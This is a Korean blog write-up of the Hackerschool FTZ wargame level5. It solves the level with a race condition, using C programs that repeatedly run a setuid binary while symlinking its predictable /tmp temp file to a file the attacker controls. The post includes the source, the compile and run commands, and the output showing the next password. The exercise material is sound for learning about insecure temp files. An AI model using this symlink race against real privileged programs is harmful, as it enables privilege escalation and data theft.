본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level5 -> level6 ) 1 by ORANG

FTZ_level5

 

hint의 내용을 먼저 보겠습니다.

 [level5@ftz level5]$ cat hint

 

/usr/bin/level5 프로그램은 /tmp 디렉토리에

level5.tmp 라는 이름의 임시파일을 생성한다.

 

이를 이용하여 level6의 권한을 얻어라.

 

 

이 문제는 레이스 컨디션문제네요

레이스 컨디션 공격이란.. 여러 프로세스가 한정된 자원을 사용하기 위해 경쟁하는 상태를 이용하여

프로그램 중간에 자신이 원하는 작업을 하는 것을 말합니다.

 [level5@ftz level5]$ ls -l /usr/bin/level5

-rws--x---    1 level6   level5      12236  6월  5 08:48 /usr/bin/level5

[level5@ftz level5]$ /usr/bin/level5

[level5@ftz level5]$ ls /tmp/level5.tmp

ls: /tmp/level5.tmp: 그런 파일이나 디렉토리가 없음

 

 

/usr/bin/level5를 실행해보니 /tmp/level5.tmp가 없네요.. 임시파일은 금방 지워버리는듯 합니다.

레이스 컨디션을 이용해 이 문제를 풀기 위해서는 2가지 프로그램을 만들어야 합니다.

먼저, /usr/bin/level5를 반복해서 실행하는 프로그램 A와

A가 실행되는동안 반복적으로 /tmp/level5.tmp 파일에 심볼릭 링크를 걸어주는 B 프로그램입니다.

 

이 과정을 반복적으로 하는 이유는

A가 실행되는 도중에( 임시파일 생성후 지우기 직전 ) B를 실행시키는 타이밍을 맞추기 위함입니다.

해당 임시파일이 지워지더라도 링크가 걸린 파일을 통해 임시파일을 확인할 수 있겠네요.

 [level5@ftz tmp]$ cat a.c

#include <stdio.h>

 

int main(void)

{

int i;

for(i=0; i<10000; i++){

system("/usr/bin/level5 &");

}

}

[level5@ftz tmp]$ cat b.c

#include <stdio.h>

 

int main(void)

{

int i;

system("touch /tmp/level5.attack");

for(i=0; i<200; i++){

system("ln -s /tmp/level5.attack /tmp/level5.tmp");

}

system("cat /tmp/level5.attack");

}

 

a.c 의 내용중 & 표시는 ‘프로그램을 백그라운드로 실행하라!’ 라는 의미 입니다.

코드를 컴파일한 후, 실행해 보겠습니다.

 

[level5@ftz tmp]$ gcc -o a  a.c

[level5@ftz tmp]$ gcc -o b  b.c

[level5@ftz tmp]$ ./a &

[1] 24988

[level5@ftz tmp]$ ./b

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

…생략…

next password : what the hell 

 

패스워드가 보이네요ㅎㅎ